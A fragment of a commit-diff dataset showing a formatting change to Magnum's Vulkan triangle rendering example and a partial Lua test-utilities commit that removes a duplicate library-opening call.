.setApplicationInfo(\"Magnum Vulkan Triangle Example\"_s, {})};\n\n \/* Create a device with a graphics queue *\/\n Vk::Queue queue{NoCreate};\n Vk::Device device{instance, Vk::DeviceCreateInfo{Vk::pickDevice(instance)}\n .addQueues(Vk::QueueFlag::Graphics, {0.0f}, {queue})};\n\n \/* Allocate a command buffer *\/\n Vk::CommandPool commandPool{device, Vk::CommandPoolCreateInfo{\n device.properties().pickQueueFamily(Vk::QueueFlag::Graphics)}};\n Vk::CommandBuffer cmd = commandPool.allocate();\n\n device.populateGlobalFunctionPointers();\n\n \/* Render pass *\/\n Vk::RenderPass renderPass{device, Vk::RenderPassCreateInfo{}\n .setAttachments({\n Vk::AttachmentDescription{PixelFormat::RGBA8Srgb,\n Vk::AttachmentLoadOperation::Clear,\n Vk::AttachmentStoreOperation::Store,\n Vk::ImageLayout::Undefined,\n Vk::ImageLayout::ColorAttachment\n }\n })\n .addSubpass(Vk::SubpassDescription{}\n .setColorAttachments({\n Vk::AttachmentReference{0, Vk::ImageLayout::ColorAttachment}\n })\n )\n };\n\n \/* Framebuffer image. Allocate with linear tiling as we want to download it\n later. *\/\n Vk::Image image{NoCreate};\n {\n Vk::ImageCreateInfo2D info{Vk::ImageUsage::ColorAttachment,\n PixelFormat::RGBA8Srgb, {800, 600}, 1};\n info->tiling = VK_IMAGE_TILING_LINEAR;\n image = Vk::Image{device, info, Vk::MemoryFlag::HostVisible};\n }\n\n Vk::ImageView color{device, Vk::ImageViewCreateInfo2D{image}};\n\n \/* Vertex buffer *\/\n Vk::Buffer buffer{device, Vk::BufferCreateInfo{\n Vk::BufferUsage::VertexBuffer,\n 3*2*4*4 \/* Three vertices, each is four-element pos & color *\/\n }, Vk::MemoryFlag::HostVisible};\n {\n \/* Fill the data *\/\n \/** @todo arrayCast for an array rvalue *\/\n Containers::Array<char, Vk::MemoryMapDeleter> data = buffer.dedicatedMemory().map();\n auto view = Containers::arrayCast<Vector4>(data);\n view[0] = {-0.5f, -0.5f, 0.0f, 1.0f}; \/* Left vertex, red color *\/\n view[1] = 0xff0000ff_srgbaf;\n view[2] = { 0.5f, -0.5f, 0.0f, 1.0f}; \/* Right vertex, green color *\/\n view[3] = 0x00ff00ff_srgbaf;\n view[4] = { 0.0f, 0.5f, 0.0f, 1.0f}; \/* Top vertex, blue color *\/\n view[5] = 0x0000ffff_srgbaf;\n }\n\n \/* Framebuffer *\/\n Vk::Framebuffer framebuffer{device, Vk::FramebufferCreateInfo{renderPass, {\n color\n }, {800, 600}}};\n\n \/* Create the shader *\/\n constexpr Containers::StringView assembly = R\"(\n OpCapability Shader\n OpMemoryModel Logical GLSL450\n\n; Function %1 is vertex shader and has %12, %13 as input and %15, %16 as output\n OpEntryPoint Vertex %1 \"ver\" %12 %13 %gl_Position %16\n; Function %2 is fragment shader and has %5 as input and %6 as output\n OpEntryPoint Fragment %2 \"fra\" %5 %6\n OpExecutionMode %2 OriginUpperLeft\n\n; Input\/output layouts\n OpDecorate %12 Location 0\n OpDecorate %13 Location 1\n OpDecorate %gl_Position BuiltIn Position\n OpDecorate %16 Location 0\n OpDecorate %5 Location 0\n OpDecorate %6 Location 0\n\n; Types\n %void = OpTypeVoid\n %8 = OpTypeFunction %void\n %float = OpTypeFloat 32\n %v4float = OpTypeVector %float 4\n%_ptr_Input_v4float = OpTypePointer Input %v4float\n %12 = OpVariable %_ptr_Input_v4float Input\n %13 = OpVariable %_ptr_Input_v4float Input\n%_ptr_Output_v4float = OpTypePointer Output %v4float\n%gl_Position = OpVariable %_ptr_Output_v4float Output\n %16 = OpVariable %_ptr_Output_v4float Output\n %5 = OpVariable %_ptr_Input_v4float Input\n %6 = OpVariable %_ptr_Output_v4float Output\n\n; %1 = void ver()\n %1 = OpFunction %void None %8\n %33 = OpLabel\n %30 = OpLoad %v4float %12\n %31 = OpLoad %v4float %13\n OpStore %gl_Position %30\n OpStore %16 %31\n OpReturn\n OpFunctionEnd\n\n; %2 = void fra()\n %2 = OpFunction %void None %8\n %34 = OpLabel\n %32 = OpLoad %v4float %5\n OpStore %6 %32\n OpReturn\n OpFunctionEnd\n)\"_s;\n Vk::Shader shader{device, Vk::ShaderCreateInfo{\n CORRADE_INTERNAL_ASSERT_EXPRESSION(CORRADE_INTERNAL_ASSERT_EXPRESSION(\n PluginManager::Manager<ShaderTools::AbstractConverter>{}.loadAndInstantiate(\"SpirvAssemblyToSpirvShaderConverter\")\n )->convertDataToData({}, assembly))}};\n\n \/* Pipeline layout *\/\n VkPipelineLayout pipelineLayout;\n {\n VkPipelineLayoutCreateInfo info{};\n info.sType = VK_STRUCTURE_TYPE_PIPELINE_LAYOUT_CREATE_INFO;\n info.setLayoutCount = 0;\n info.pushConstantRangeCount = 0;\n MAGNUM_VK_INTERNAL_ASSERT_SUCCESS(vkCreatePipelineLayout(device, &info, nullptr, &pipelineLayout));\n }\n\n \/* Create a graphics pipeline *\/\n VkPipeline pipeline;\n {\n VkVertexInputBindingDescription binding{};\n binding.binding = 0;\n binding.stride = 2*4*4;\n\n VkVertexInputAttributeDescription attributes[2]{};\n attributes[0].location = 0; \/* position attribute *\/\n attributes[0].binding = binding.binding;\n attributes[0].format = VK_FORMAT_R32G32B32A32_SFLOAT;\n attributes[0].offset = 0;\n attributes[1].location = 1; \/* color attribute *\/\n attributes[1].binding = binding.binding;\n attributes[1].format = VK_FORMAT_R32G32B32A32_SFLOAT;\n attributes[1].offset = 4*4;\n\n VkPipelineVertexInputStateCreateInfo vertexInputInfo{};\n vertexInputInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_VERTEX_INPUT_STATE_CREATE_INFO;\n vertexInputInfo.vertexBindingDescriptionCount = 1;\n vertexInputInfo.pVertexBindingDescriptions = &binding;\n vertexInputInfo.vertexAttributeDescriptionCount = 2;\n vertexInputInfo.pVertexAttributeDescriptions = attributes;\n\n VkPipelineInputAssemblyStateCreateInfo inputAssemblyInfo{};\n inputAssemblyInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_INPUT_ASSEMBLY_STATE_CREATE_INFO;\n inputAssemblyInfo.topology = VK_PRIMITIVE_TOPOLOGY_TRIANGLE_LIST;\n\n VkViewport viewport{};\n viewport.width = 800.0f;\n viewport.height = 600.0f;\n viewport.maxDepth = 1.0f;\n\n VkRect2D scissor{{}, {800, 600}};\n\n VkPipelineViewportStateCreateInfo viewportInfo{};\n viewportInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_VIEWPORT_STATE_CREATE_INFO;\n viewportInfo.viewportCount = 1;\n viewportInfo.pViewports = &viewport;\n viewportInfo.scissorCount = 1;\n viewportInfo.pScissors = &scissor;\n\n VkPipelineRasterizationStateCreateInfo rasterizationInfo{};\n rasterizationInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_RASTERIZATION_STATE_CREATE_INFO;\n rasterizationInfo.lineWidth = 1.0f;\n \/* the zero-filled defaults are good enough apparently *\/\n\n VkPipelineMultisampleStateCreateInfo multisampleInfo{};\n multisampleInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_MULTISAMPLE_STATE_CREATE_INFO;\n multisampleInfo.rasterizationSamples = VK_SAMPLE_COUNT_1_BIT;\n\n VkPipelineColorBlendAttachmentState blend{};\n blend.colorWriteMask = VK_COLOR_COMPONENT_R_BIT|\n VK_COLOR_COMPONENT_G_BIT|\n VK_COLOR_COMPONENT_B_BIT|\n VK_COLOR_COMPONENT_A_BIT;\n VkPipelineColorBlendStateCreateInfo colorBlendInfo{};\n colorBlendInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_COLOR_BLEND_STATE_CREATE_INFO;\n colorBlendInfo.attachmentCount = 1;\n colorBlendInfo.pAttachments = &blend;\n\n VkPipelineShaderStageCreateInfo stages[2]{};\n stages[0].sType = VK_STRUCTURE_TYPE_PIPELINE_SHADER_STAGE_CREATE_INFO;\n stages[0].stage = VK_SHADER_STAGE_VERTEX_BIT;\n stages[0].module = shader;\n stages[0].pName = \"ver\";\n stages[1].sType = VK_STRUCTURE_TYPE_PIPELINE_SHADER_STAGE_CREATE_INFO;\n stages[1].stage = VK_SHADER_STAGE_FRAGMENT_BIT;\n stages[1].module = shader;\n stages[1].pName = \"fra\";\n\n VkGraphicsPipelineCreateInfo info{};\n info.sType = VK_STRUCTURE_TYPE_GRAPHICS_PIPELINE_CREATE_INFO;\n info.stageCount = 2;\n info.pStages = stages;\n info.pVertexInputState = &vertexInputInfo;\n info.pInputAssemblyState = &inputAssemblyInfo;\n info.pViewportState = &viewportInfo;\n info.pRasterizationState = &rasterizationInfo;\n info.pMultisampleState = &multisampleInfo;\n info.pColorBlendState = &colorBlendInfo;\n info.layout = pipelineLayout;\n info.renderPass = renderPass;\n info.subpass = 0;\n MAGNUM_VK_INTERNAL_ASSERT_SUCCESS(vkCreateGraphicsPipelines(device, nullptr, 1, &info, nullptr, &pipeline));\n }\n\n \/* Begin recording *\/\n cmd.begin();\n\n \/* Begin a render pass. Converts the framebuffer attachment from Undefined\n to ColorAttachment layout and clears it. *\/\n cmd.beginRenderPass(Vk::RenderPassBeginInfo{renderPass, framebuffer}\n .clearColor(0, 0x1f1f1f_srgbf));\n\n \/* Bind the pipeline *\/\n vkCmdBindPipeline(cmd, VK_PIPELINE_BIND_POINT_GRAPHICS, pipeline);\n\n \/* Bind the vertex buffer *\/\n {\n const VkDeviceSize offset = 0;\n const VkBuffer handle = buffer;\n vkCmdBindVertexBuffers(cmd, 0, 1, &handle, &offset);\n }\n\n \/* Draw the triangle *\/\n vkCmdDraw(cmd, 3, 1, 0, 0);\n\n \/* End recording *\/\n cmd.endRenderPass()\n .end();\n\n \/* Submit the command buffer and wait until done *\/\n Vk::Fence fence{device};\n queue.submit({Vk::SubmitInfo{}.setCommandBuffers({cmd})}, fence);\n fence.wait();\n\n \/* Read the image back *\/\n CORRADE_INTERNAL_ASSERT_EXPRESSION(\n PluginManager::Manager<Trade::AbstractImageConverter>{}\n .loadAndInstantiate(\"AnyImageConverter\")\n )->exportToFile(ImageView2D{\n PixelFormat::RGBA8Unorm, {800, 600},\n image.dedicatedMemory().mapRead()}, \"image.png\");\n Debug{} << \"Saved an image to image.png\";\n\n \/* Clean up *\/\n vkDestroyPipeline(device, pipeline, nullptr);\n vkDestroyPipelineLayout(device, pipelineLayout, nullptr);\n}\n<commit_msg>triangle-vulkan: minor formatting.<commit_after>\/*\n This file is part of Magnum.\n\n Original authors — credit is appreciated but not required:\n\n 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021\n — Vladimír Vondruš <mosra@centrum.cz>\n 2021 — Pablo Escobar <mail@rvrs.in>\n\n This is free and unencumbered software released into the public domain.\n\n Anyone is free to copy, modify, publish, use, compile, sell, or distribute\n this software, either in source code form or as a compiled binary, for any\n purpose, commercial or non-commercial, and by any means.\n\n In jurisdictions that recognize copyright laws, the author or authors of\n this software dedicate any and all copyright interest in the software to\n the public domain. We make this dedication for the benefit of the public\n at large and to the detriment of our heirs and successors. We intend this\n dedication to be an overt act of relinquishment in perpetuity of all\n present and future rights to this software under copyright law.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <Corrade\/Containers\/Array.h>\n#include <Corrade\/Containers\/StringView.h>\n#include <Corrade\/Utility\/Assert.h>\n#include <Corrade\/PluginManager\/Manager.h>\n#include <Magnum\/Magnum.h>\n#include <Magnum\/ImageView.h>\n#include <Magnum\/PixelFormat.h>\n#include <Magnum\/Math\/Color.h>\n#include <Magnum\/ShaderTools\/AbstractConverter.h>\n#include <Magnum\/Trade\/AbstractImageConverter.h>\n#include <Magnum\/Vk\/Assert.h>\n#include <Magnum\/Vk\/BufferCreateInfo.h>\n#include <Magnum\/Vk\/CommandBuffer.h>\n#include <Magnum\/Vk\/CommandPoolCreateInfo.h>\n#include <Magnum\/Vk\/DeviceCreateInfo.h>\n#include <Magnum\/Vk\/DeviceProperties.h>\n#include <Magnum\/Vk\/Fence.h>\n#include <Magnum\/Vk\/FramebufferCreateInfo.h>\n#include <Magnum\/Vk\/ImageCreateInfo.h>\n#include <Magnum\/Vk\/ImageViewCreateInfo.h>\n#include <Magnum\/Vk\/InstanceCreateInfo.h>\n#include <Magnum\/Vk\/Memory.h>\n#include <Magnum\/Vk\/Queue.h>\n#include <Magnum\/Vk\/RenderPassCreateInfo.h>\n#include <Magnum\/Vk\/ShaderCreateInfo.h>\n#include <MagnumExternal\/Vulkan\/flextVkGlobal.h>\n\nusing namespace Corrade::Containers::Literals;\nusing namespace Magnum;\nusing namespace Magnum::Math::Literals;\n\nint main(int argc, char** argv) {\n \/* Create an instance *\/\n Vk::Instance instance{Vk::InstanceCreateInfo{argc, argv}\n .setApplicationInfo(\"Magnum Vulkan Triangle Example\"_s, {})};\n\n \/* Create a device with a graphics queue *\/\n Vk::Queue queue{NoCreate};\n Vk::Device device{instance, Vk::DeviceCreateInfo{Vk::pickDevice(instance)}\n .addQueues(Vk::QueueFlag::Graphics, {0.0f}, {queue})};\n\n \/* Allocate a command buffer *\/\n Vk::CommandPool commandPool{device, Vk::CommandPoolCreateInfo{\n device.properties().pickQueueFamily(Vk::QueueFlag::Graphics)}};\n Vk::CommandBuffer cmd = commandPool.allocate();\n\n device.populateGlobalFunctionPointers();\n\n \/* Render pass *\/\n Vk::RenderPass renderPass{device, Vk::RenderPassCreateInfo{}\n .setAttachments({\n Vk::AttachmentDescription{PixelFormat::RGBA8Srgb,\n Vk::AttachmentLoadOperation::Clear,\n Vk::AttachmentStoreOperation::Store,\n Vk::ImageLayout::Undefined,\n Vk::ImageLayout::ColorAttachment\n }\n })\n .addSubpass(Vk::SubpassDescription{}\n .setColorAttachments({\n Vk::AttachmentReference{0, Vk::ImageLayout::ColorAttachment}\n })\n )\n };\n\n \/* Framebuffer image. Allocate with linear tiling as we want to download it\n later. *\/\n Vk::Image image{NoCreate};\n {\n Vk::ImageCreateInfo2D info{Vk::ImageUsage::ColorAttachment,\n PixelFormat::RGBA8Srgb, {800, 600}, 1};\n info->tiling = VK_IMAGE_TILING_LINEAR;\n image = Vk::Image{device, info, Vk::MemoryFlag::HostVisible};\n }\n\n Vk::ImageView color{device, Vk::ImageViewCreateInfo2D{image}};\n\n \/* Vertex buffer *\/\n Vk::Buffer buffer{device, Vk::BufferCreateInfo{\n Vk::BufferUsage::VertexBuffer,\n 3*2*4*4 \/* Three vertices, each is four-element pos & color *\/\n }, Vk::MemoryFlag::HostVisible};\n {\n \/* Fill the data *\/\n \/** @todo arrayCast for an array rvalue *\/\n Containers::Array<char, Vk::MemoryMapDeleter> data = buffer.dedicatedMemory().map();\n auto view = Containers::arrayCast<Vector4>(data);\n view[0] = {-0.5f, -0.5f, 0.0f, 1.0f}; \/* Left vertex, red color *\/\n view[1] = 0xff0000ff_srgbaf;\n view[2] = { 0.5f, -0.5f, 0.0f, 1.0f}; \/* Right vertex, green color *\/\n view[3] = 0x00ff00ff_srgbaf;\n view[4] = { 0.0f, 0.5f, 0.0f, 1.0f}; \/* Top vertex, blue color *\/\n view[5] = 0x0000ffff_srgbaf;\n }\n\n \/* Framebuffer *\/\n Vk::Framebuffer framebuffer{device, Vk::FramebufferCreateInfo{renderPass, {\n color\n }, {800, 600}}};\n\n \/* Create the shader *\/\n constexpr Containers::StringView assembly = R\"(\n OpCapability Shader\n OpMemoryModel Logical GLSL450\n\n; Function %1 is vertex shader and has %12, %13 as input and %15, %16 as output\n OpEntryPoint Vertex %1 \"ver\" %12 %13 %gl_Position %16\n; Function %2 is fragment shader and has %5 as input and %6 as output\n OpEntryPoint Fragment %2 \"fra\" %5 %6\n OpExecutionMode %2 OriginUpperLeft\n\n; Input\/output layouts\n OpDecorate %12 Location 0\n OpDecorate %13 Location 1\n OpDecorate %gl_Position BuiltIn Position\n OpDecorate %16 Location 0\n OpDecorate %5 Location 0\n OpDecorate %6 Location 0\n\n; Types\n %void = OpTypeVoid\n %8 = OpTypeFunction %void\n %float = OpTypeFloat 32\n %v4float = OpTypeVector %float 4\n%_ptr_Input_v4float = OpTypePointer Input %v4float\n %12 = OpVariable %_ptr_Input_v4float Input\n %13 = OpVariable %_ptr_Input_v4float Input\n%_ptr_Output_v4float = OpTypePointer Output %v4float\n%gl_Position = OpVariable %_ptr_Output_v4float Output\n %16 = OpVariable %_ptr_Output_v4float Output\n %5 = OpVariable %_ptr_Input_v4float Input\n %6 = OpVariable %_ptr_Output_v4float Output\n\n; %1 = void ver()\n %1 = OpFunction %void None %8\n %33 = OpLabel\n %30 = OpLoad %v4float %12\n %31 = OpLoad %v4float %13\n OpStore %gl_Position %30\n OpStore %16 %31\n OpReturn\n OpFunctionEnd\n\n; %2 = void fra()\n %2 = OpFunction %void None %8\n %34 = OpLabel\n %32 = OpLoad %v4float %5\n OpStore %6 %32\n OpReturn\n OpFunctionEnd\n)\"_s;\n Vk::Shader shader{device, Vk::ShaderCreateInfo{\n CORRADE_INTERNAL_ASSERT_EXPRESSION(CORRADE_INTERNAL_ASSERT_EXPRESSION(\n PluginManager::Manager<ShaderTools::AbstractConverter>{}.loadAndInstantiate(\"SpirvAssemblyToSpirvShaderConverter\")\n )->convertDataToData({}, assembly))}};\n\n \/* Pipeline layout *\/\n VkPipelineLayout pipelineLayout;\n {\n VkPipelineLayoutCreateInfo info{};\n info.sType = VK_STRUCTURE_TYPE_PIPELINE_LAYOUT_CREATE_INFO;\n info.setLayoutCount = 0;\n info.pushConstantRangeCount = 0;\n MAGNUM_VK_INTERNAL_ASSERT_SUCCESS(vkCreatePipelineLayout(device, &info, nullptr, &pipelineLayout));\n }\n\n \/* Create a graphics pipeline *\/\n VkPipeline pipeline;\n {\n VkVertexInputBindingDescription binding{};\n binding.binding = 0;\n binding.stride = 2*4*4;\n\n VkVertexInputAttributeDescription attributes[2]{};\n attributes[0].location = 0; \/* position attribute *\/\n attributes[0].binding = binding.binding;\n attributes[0].format = VK_FORMAT_R32G32B32A32_SFLOAT;\n attributes[0].offset = 0;\n attributes[1].location = 1; \/* color attribute *\/\n attributes[1].binding = binding.binding;\n attributes[1].format = VK_FORMAT_R32G32B32A32_SFLOAT;\n attributes[1].offset = 4*4;\n\n VkPipelineVertexInputStateCreateInfo vertexInputInfo{};\n vertexInputInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_VERTEX_INPUT_STATE_CREATE_INFO;\n vertexInputInfo.vertexBindingDescriptionCount = 1;\n vertexInputInfo.pVertexBindingDescriptions = &binding;\n vertexInputInfo.vertexAttributeDescriptionCount = 2;\n vertexInputInfo.pVertexAttributeDescriptions = attributes;\n\n VkPipelineInputAssemblyStateCreateInfo inputAssemblyInfo{};\n inputAssemblyInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_INPUT_ASSEMBLY_STATE_CREATE_INFO;\n inputAssemblyInfo.topology = VK_PRIMITIVE_TOPOLOGY_TRIANGLE_LIST;\n\n VkViewport viewport{};\n viewport.width = 800.0f;\n viewport.height = 600.0f;\n viewport.maxDepth = 1.0f;\n\n VkRect2D scissor{{}, {800, 600}};\n\n VkPipelineViewportStateCreateInfo viewportInfo{};\n viewportInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_VIEWPORT_STATE_CREATE_INFO;\n viewportInfo.viewportCount = 1;\n viewportInfo.pViewports = &viewport;\n viewportInfo.scissorCount = 1;\n viewportInfo.pScissors = &scissor;\n\n VkPipelineRasterizationStateCreateInfo rasterizationInfo{};\n rasterizationInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_RASTERIZATION_STATE_CREATE_INFO;\n rasterizationInfo.lineWidth = 1.0f;\n \/* the zero-filled defaults are good enough apparently *\/\n\n VkPipelineMultisampleStateCreateInfo multisampleInfo{};\n multisampleInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_MULTISAMPLE_STATE_CREATE_INFO;\n multisampleInfo.rasterizationSamples = VK_SAMPLE_COUNT_1_BIT;\n\n VkPipelineColorBlendAttachmentState blend{};\n blend.colorWriteMask = VK_COLOR_COMPONENT_R_BIT|\n VK_COLOR_COMPONENT_G_BIT|\n VK_COLOR_COMPONENT_B_BIT|\n VK_COLOR_COMPONENT_A_BIT;\n VkPipelineColorBlendStateCreateInfo colorBlendInfo{};\n colorBlendInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_COLOR_BLEND_STATE_CREATE_INFO;\n colorBlendInfo.attachmentCount = 1;\n colorBlendInfo.pAttachments = &blend;\n\n VkPipelineShaderStageCreateInfo stages[2]{};\n stages[0].sType = VK_STRUCTURE_TYPE_PIPELINE_SHADER_STAGE_CREATE_INFO;\n stages[0].stage = VK_SHADER_STAGE_VERTEX_BIT;\n stages[0].module = shader;\n stages[0].pName = \"ver\";\n stages[1].sType = VK_STRUCTURE_TYPE_PIPELINE_SHADER_STAGE_CREATE_INFO;\n stages[1].stage = VK_SHADER_STAGE_FRAGMENT_BIT;\n stages[1].module = shader;\n stages[1].pName = \"fra\";\n\n VkGraphicsPipelineCreateInfo info{};\n info.sType = VK_STRUCTURE_TYPE_GRAPHICS_PIPELINE_CREATE_INFO;\n info.stageCount = 2;\n info.pStages = stages;\n info.pVertexInputState = &vertexInputInfo;\n info.pInputAssemblyState = &inputAssemblyInfo;\n info.pViewportState = &viewportInfo;\n info.pRasterizationState = &rasterizationInfo;\n info.pMultisampleState = &multisampleInfo;\n info.pColorBlendState = &colorBlendInfo;\n info.layout = pipelineLayout;\n info.renderPass = renderPass;\n info.subpass = 0;\n MAGNUM_VK_INTERNAL_ASSERT_SUCCESS(vkCreateGraphicsPipelines(device, nullptr, 1, &info, nullptr, &pipeline));\n }\n\n \/* Begin recording *\/\n cmd.begin();\n\n \/* Begin a render pass. Converts the framebuffer attachment from Undefined\n to ColorAttachment layout and clears it. *\/\n cmd.beginRenderPass(Vk::RenderPassBeginInfo{renderPass, framebuffer}\n .clearColor(0, 0x1f1f1f_srgbf)\n );\n\n \/* Bind the pipeline *\/\n vkCmdBindPipeline(cmd, VK_PIPELINE_BIND_POINT_GRAPHICS, pipeline);\n\n \/* Bind the vertex buffer *\/\n {\n const VkDeviceSize offset = 0;\n const VkBuffer handle = buffer;\n vkCmdBindVertexBuffers(cmd, 0, 1, &handle, &offset);\n }\n\n \/* Draw the triangle *\/\n vkCmdDraw(cmd, 3, 1, 0, 0);\n\n \/* End recording *\/\n cmd.endRenderPass()\n .end();\n\n \/* Submit the command buffer and wait until done *\/\n Vk::Fence fence{device};\n queue.submit({Vk::SubmitInfo{}.setCommandBuffers({cmd})}, fence);\n fence.wait();\n\n \/* Read the image back *\/\n CORRADE_INTERNAL_ASSERT_EXPRESSION(\n PluginManager::Manager<Trade::AbstractImageConverter>{}\n .loadAndInstantiate(\"AnyImageConverter\")\n )->exportToFile(ImageView2D{\n PixelFormat::RGBA8Unorm, {800, 600},\n image.dedicatedMemory().mapRead()}, \"image.png\");\n Debug{} << \"Saved an image to image.png\";\n\n \/* Clean up *\/\n vkDestroyPipeline(device, pipeline, nullptr);\n vkDestroyPipelineLayout(device, pipelineLayout, nullptr);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n** SelfPortrait API\n** See Copyright Notice in lua_utils.h\n*\/\n\n#include \"test_utils.h\"\n#include <stdexcept>\n#include \"str_conversion.h\"\n#include <cxxtest\/TestSuite.h>\n\/\/#include <dlfcn.h>\nusing namespace std;\n\nnamespace LuaUtils {\n\n void addTestFunctionsAndPaths(lua_State* L)\n {\n lua_atpanic(L, atPanicThrow);\n luaL_openlibs(L);\n lua_pushcfunction(L, ts_fail);\n lua_setglobal(L, \"TS_FAIL\");\n lua_pushcfunction(L, ts_trace);\n lua_setglobal(L, \"TS_TRACE\");\n lua_pushcfunction(L, ts_warn);\n lua_setglobal(L, \"TS_WARN\");\n\n lua_getglobal(L, \"package\");\n luaL_checktype(L, 1, LUA_TTABLE);\n\n \/\/ for cxxtest.lua\n lua_getfield(L, 1, \"path\");\n lua_pushstring(L, \";\");\n lua_pushstring(L, srcpath().c_str());\n lua_pushstring(L, \"\/?.lua\");\n lua_concat(L, 4);\n lua_setfield(L, 1, \"path\");\n\n \/\/ for libluacppreflect\n lua_getfield(L, 1, \"cpath\");\n lua_pushstring(L, \";\");\n lua_pushstring(L, binpath().c_str());\n lua_pushstring(L, \"\/..\/lua_module\/?.so\");\n lua_pushstring(L, \";\");\n lua_pushstring(L, binpath().c_str());\n lua_pushstring(L, \"\/..\/lua_module\/?.dll\"); \/\/ don't want to mess with platform DEFINEs\n lua_concat(L, 7);\n lua_setfield(L, 1, \"cpath\");\n\n \/\/ Uncomment this to prevent the unloading of the library\n \/\/ When the library is unloaded valgrind cannot translate function addresses to names\n \/\/ in the stacktrace\n \/\/std::string library_path = fmt_str(\"%1\/..\/lua_module\/libluaselfportrait.so\", binpath());\n \/\/void* handle = dlopen(library_path.c_str(), RTLD_NOW);\n }\n\n\n int atPanicThrow(lua_State* L) {\n throw std::runtime_error(strconv::fmt_str(\"Error during execution of Lua code:\\n%1\", lua_tostring(L, -1)));\n return 0;\n }\n\n int ts_fail(lua_State* L) {\n\n const int nargs = lua_gettop(L);\n\n if (nargs == 3) {\n CxxTest::TestTracker::tracker().failedTest( luaL_checkstring(L, -3), luaL_checkint(L, -2), luaL_checkstring(L, -1) );\n } else if (nargs >= 1) {\n lua_Debug debug;\n lua_getstack(L, 1, &debug);\n lua_getinfo(L, \"Sl\", &debug);\n CxxTest::TestTracker::tracker().failedTest( debug.short_src, debug.currentline, luaL_checkstring(L, -1) );\n } else {\n luaL_error(L, \"TS_FAIL called with an illegal number of arguments\");\n }\n return 0;\n }\n\n int ts_trace(lua_State* L) {\n\n const int nargs = lua_gettop(L);\n\n if (nargs == 3) {\n CxxTest::TestTracker::tracker().trace(luaL_checkstring(L, -3), luaL_checkint(L, -2), luaL_checkstring(L, -1) );\n } else if (nargs >= 1) {\n lua_Debug debug;\n lua_getstack(L, 1, &debug);\n lua_getinfo(L, \"Sl\", &debug);\n CxxTest::TestTracker::tracker().trace( debug.short_src, debug.currentline, luaL_checkstring(L, -1) );\n } else {\n luaL_error(L, \"TS_TRACE called with an illegal number of arguments\");\n }\n return 0;\n }\n\n int ts_warn(lua_State* L) {\n\n const int nargs = lua_gettop(L);\n\n if (nargs == 3) {\n CxxTest::TestTracker::tracker().warning(luaL_checkstring(L, -3), luaL_checkint(L, -2), luaL_checkstring(L, -1) );\n } else if (nargs >= 1) {\n lua_Debug debug;\n lua_getstack(L, 1, &debug);\n lua_getinfo(L, \"Sl\", &debug);\n CxxTest::TestTracker::tracker().warning( debug.short_src, debug.currentline, luaL_checkstring(L, -1) );\n } else {\n luaL_error(L, \"TS_WARN called with an illegal number of arguments\");\n }\n return 0;\n }\n}\n<commit_msg>Remove duplicate lua_openlibs that resets package.path<commit_after>\/*\n** SelfPortrait API\n** See Copyright Notice in lua_utils.h\n*\/\n\n#include \"test_utils.h\"\n#include <stdexcept>\n#include \"str_conversion.h\"\n#include <cxxtest\/TestSuite.h>\n\/\/#include <dlfcn.h>\nusing namespace std;\n\nnamespace LuaUtils {\n\n void addTestFunctionsAndPaths(lua_State* L)\n {\n lua_atpanic(L, atPanicThrow);\n lua_pushcfunction(L, ts_fail);\n lua_setglobal(L, \"TS_FAIL\");\n lua_pushcfunction(L, ts_trace);\n lua_setglobal(L, \"TS_TRACE\");\n lua_pushcfunction(L, ts_warn);\n lua_setglobal(L, \"TS_WARN\");\n\n lua_getglobal(L, \"package\");\n luaL_checktype(L, 1, LUA_TTABLE);\n\n \/\/ for cxxtest.lua\n lua_getfield(L, 1, \"path\");\n lua_pushstring(L, \";\");\n lua_pushstring(L, srcpath().c_str());\n lua_pushstring(L, \"\/?.lua\");\n lua_concat(L, 4);\n lua_setfield(L, 1, \"path\");\n\n \/\/ for libluacppreflect\n lua_getfield(L, 1, \"cpath\");\n lua_pushstring(L, \";\");\n lua_pushstring(L, binpath().c_str());\n lua_pushstring(L, \"\/..\/lua_module\/?.so\");\n lua_pushstring(L, \";\");\n lua_pushstring(L, binpath().c_str());\n lua_pushstring(L, \"\/..\/lua_module\/?.dll\"); \/\/ don't want to mess with platform DEFINEs\n lua_concat(L, 7);\n lua_setfield(L, 1, \"cpath\");\n\n \/\/ Uncomment this to prevent the unloading of the library\n \/\/ When the library is unloaded valgrind cannot translate function addresses to names\n \/\/ in the stacktrace\n \/\/std::string library_path = fmt_str(\"%1\/..\/lua_module\/libluaselfportrait.so\", binpath());\n \/\/void* handle = dlopen(library_path.c_str(), RTLD_NOW);\n }\n\n\n int atPanicThrow(lua_State* L) {\n throw std::runtime_error(strconv::fmt_str(\"Error during execution of Lua code:\\n%1\", lua_tostring(L, -1)));\n return 0;\n }\n\n int ts_fail(lua_State* L) {\n\n const int nargs = lua_gettop(L);\n\n if (nargs == 3) {\n CxxTest::TestTracker::tracker().failedTest( luaL_checkstring(L, -3), luaL_checkint(L, -2), luaL_checkstring(L, -1) );\n } else if (nargs >= 1) {\n lua_Debug debug;\n lua_getstack(L, 1, &debug);\n lua_getinfo(L, \"Sl\", &debug);\n CxxTest::TestTracker::tracker().failedTest( debug.short_src, debug.currentline, luaL_checkstring(L, -1) );\n } else {\n luaL_error(L, \"TS_FAIL called with an 